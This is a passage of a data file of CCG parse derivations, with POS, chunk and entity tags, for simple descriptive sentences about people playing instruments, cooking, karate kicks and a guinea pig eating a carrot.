t(n, 'gloves', 'glove', 'NNS', 'I-NP', 'O')))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(266,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'practitioner', 'practitioner', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'protective', 'protective', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'boxing', 'boxing', 'NN', 'I-NP', 'O'),
t(n, 'gloves', 'glove', 'NNS', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(267,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'kick', 'kick', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'boxing', 'box', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trainer', 'trainer', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(268,
rp(s:dcl,
ba(s:dcl,
t(np:thr, 'There', 'there', 'EX', 'I-NP', 'O'),
fa(s:dcl\np:thr,
t((s:dcl\np:thr)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'no', 'no', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'practitioner', 'practitioner', 'NN', 'I-NP', 'O'))),
lx(np\np, s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'protective', 'protective', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'boxing', 'boxing', 'NN', 'I-NP', 'O'),
t(n, 'gloves', 'glove', 'NNS', 'I-NP', 'O')))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(269,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(np,
lx(np, n,
t(n, 'kick', 'kick', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'boxing', 'box', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'with', 'with', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'trainer', 'trainer', 'NN', 'I-NP', 'O')))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(270,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'karate', 'karate', 'JJ', 'I-NP', 'O'),
t(n, 'practitioner', 'practitioner', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'kicking', 'kick', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'at', 'at', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'another', 'another', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'B-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'wearing', 'wear', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'protective', 'protective', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'boxing', 'boxing', 'NN', 'I-NP', 'O'),
t(n, 'gloves', 'glove', 'NNS', 'I-NP', 'O')))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(271,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'who', 'who', 'WP', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:pss\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:pss\np, 'seated', 'seat', 'VBN', 'I-VP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'song', 'song', 'NN', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(272,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'seated', 'seat', 'VBN', 'I-VP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'singing', 'sing', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'song', 'song', 'NN', 'I-NP', 'O'))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(273,
rp(s:dcl,
ba(s:dcl,
ba(np,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'rock', 'rock', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
ba(s:ng\np,
t(s:ng\np, 'lying', 'lie', 'VBG', 'I-VP', 'O'),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'blanket', 'blanket', 'NN', 'I-NP', 'O')))),
conj((s:ng\np)\(s:ng\np), s:ng\np,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'reading', 'read', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'book', 'book', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(274,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'rocking', 'rock', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'over', 'over', 'IN', 'I-PP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'blanket', 'blanket', 'NN', 'I-NP', 'O')),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/pp, 'lying', 'lie', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
ba(np,
t(np, 'someone', 'someone', 'DT', 'I-NP', 'O'),
lx(np\np, s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'reading', 'read', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'book', 'book', 'NN', 'I-NP', 'O'))))))))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(275,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'electric', 'electric', 'JJ', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(276,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'acoustic', 'acoustic', 'JJ', 'I-NP', 'O'),
t(n, 'guitar', 'guitar', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(277,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
ba(n,
t(n, 'man', 'man', 'NN', 'I-NP', 'O'),
conj(n\n, n,
t(conj, 'and', 'and', 'CC', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
t(s:ng\np, 'talking', 'talk', 'VBG', 'I-VP', 'O'))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(278,
rp(s:dcl,
ba(s:dcl,
ba(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
conj(np:nb\np:nb, np:nb,
t(conj, 'and', 'and', 'CC', 'O', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'are', 'be', 'VBP', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'eating', 'eat', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'happily', 'happily', 'RB', 'I-ADVP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(279,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
fa((s:ng\np)/pp,
t(((s:ng\np)/pp)/np, 'pouring', 'pour', 'VBG', 'I-VP', 'O'),
lx(np, n,
t(n, 'oil', 'oil', 'NN', 'I-NP', 'O'))),
fa(pp,
t(pp/np, 'for', 'for', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'cooking', 'cooking', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pot', 'pot', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(280,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'person', 'person', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'pouring', 'pour', 'VBG', 'I-VP', 'O'),
lx(np, n,
fa(n,
t(n/n, 'cooking', 'cooking', 'JJ', 'I-NP', 'O'),
t(n, 'oil', 'oil', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'into', 'into', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'pot', 'pot', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(281,
rp(s:dcl,
ba(s:dcl,
rp(np,
ba(np,
rp(np:nb,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'guinea', 'guinea', 'NN', 'I-NP', 'O'),
t(n, 'pig', 'pig', 'NN', 'I-NP', 'O'))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(np\np,
t((np\np)/(s:dcl\np), 'which', 'which', 'WDT', 'I-NP', 'O'),
fa(s:dcl\np,
t((s:dcl\np)/(s:adj\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t(s:adj\np, 'small', 'small', 'JJ', 'I-ADJP', 'O')))),
t(comma, ',', ',', ',', 'O', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'gnawing', 'gnaw', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'))),
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piece', 'piece', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'carrot', 'carrot', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'floor', 'floor', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(282,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'guinea', 'guinea', 'NN', 'I-NP', 'O'),
t(n, 'pig', 'pig', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'gnawing', 'gnaw', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'))),
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piece', 'piece', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'carrot', 'carrot', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'floor', 'floor', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(283,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'small', 'small', 'JJ', 'I-NP', 'O'),
fa(n,
t(n/n, 'guinea', 'guinea', 'NN', 'I-NP', 'O'),
t(n, 'pig', 'pig', 'NN', 'I-NP', 'O')))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
ba((s:ng\np)/np,
t((s:ng\np)/np, 'gnawing', 'gnaw', 'VBG', 'I-VP', 'O'),
conj(((s:ng\np)/np)\((s:ng\np)/np), (s:ng\np)/np,
t(conj, 'and', 'and', 'CC', 'I-VP', 'O'),
t((s:ng\np)/np, 'eating', 'eat', 'VBG', 'I-VP', 'O'))),
ba(np,
ba(np,
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'piece', 'piece', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'of', 'of', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'carrot', 'carrot', 'NN', 'I-NP', 'O')))),
fa(np\np,
t((np\np)/np, 'on', 'on', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'floor', 'floor', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(284,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'guinea', 'guinea', 'NN', 'I-NP', 'O'),
t(n, 'pig', 'pig', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'devouring', 'devour', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'carrot', 'carrot', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(285,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'plane', 'plane', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/np, 'is', 'be', 'VBZ', 'I-VP', 'O'),
lx(np, n,
t(n, 'landing', 'landing', 'NN', 'I-NP', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(286,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'An', 'an', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'animated', 'animated', 'JJ', 'I-NP', 'O'),
t(n, 'airplane', 'airplane', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
t(s:ng\np, 'taking', 'take', 'VBG', 'I-VP', 'O'),
t((s:ng\np)\(s:ng\np), 'off', 'off', 'RP', 'I-PRT', 'O')))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(287,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'taking', 'take', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'mixture', 'mixture', 'NN', 'I-NP', 'O'))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/pp, 'out', 'out', 'IN', 'I-PP', 'O'),
fa(pp,
t(pp/np, 'of', 'of', 'IN', 'B-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'bowl', 'bowl', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(288,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'preparing', 'prepare', 'VBG', 'I-VP', 'O'),
ba(np,
fa(np:nb,
t(np:nb/n, 'an', 'an', 'DT', 'I-NP', 'O'),
t(n, 'egg', 'egg', 'NN', 'I-NP', 'O')),
fa(np\np,
t((np\np)/np, 'in', 'in', 'IN', 'I-PP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'skillet', 'skillet', 'NN', 'I-NP', 'O'))))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(289,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'lady', 'lady', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'penciling', 'pencil', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'eyeshadow', 'eyeshadow', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(290,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/pp, 'penciling', 'pencil', 'VBG', 'I-VP', 'O'),
fa(pp,
t(pp/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'eyeshadow', 'eyeshadow', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(291,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'little', 'little', 'JJ', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O'))),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
ba(s:ng\np,
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
fa(n,
t(n/n, 'grand', 'grand', 'JJ', 'I-NP', 'O'),
t(n, 'piano', 'piano', 'NN', 'I-NP', 'O')))),
fa((s:ng\np)\(s:ng\np),
t(((s:ng\np)\(s:ng\np))/np, 'on', 'on', 'IN', 'I-PP', 'O'),
lx(np, n,
t(n, 'stage', 'stage', 'NN', 'I-NP', 'O')))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(292,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'girl', 'girl', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'practicing', 'practice', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'piano', 'piano', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(293,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'A', 'a', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'a', 'a', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(294,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'woman', 'woman', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
bxc((s:dcl\np)/(s:ng\np),
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
t((s:dcl\np)\(s:dcl\np), 'not', 'not', 'RB', 'I-VP', 'O')),
fa(s:ng\np,
t((s:ng\np)/np, 'playing', 'play', 'VBG', 'I-VP', 'O'),
fa(np:nb,
t(np:nb/n, 'the', 'the', 'DT', 'I-NP', 'O'),
t(n, 'flute', 'flute', 'NN', 'I-NP', 'O'))))),
t(period, '.', '.', '.', 'O', 'O'))).
ccg(295,
rp(s:dcl,
ba(s:dcl,
fa(np:nb,
t(np:nb/n, 'The', 'the', 'DT', 'I-NP', 'O'),
t(n, 'man', 'man', 'NN', 'I-NP', 'O')),
fa(s:dcl\np,
t((s:dcl\np)/(s:ng\np), 'is', 'be', 'VBZ', 'I-VP', 'O'),
fa(s:ng\np,
t((s:ng\np)/np, 'lifting', 'lift', 'VBG', 'I-VP', 'O'),
lx(np, n,
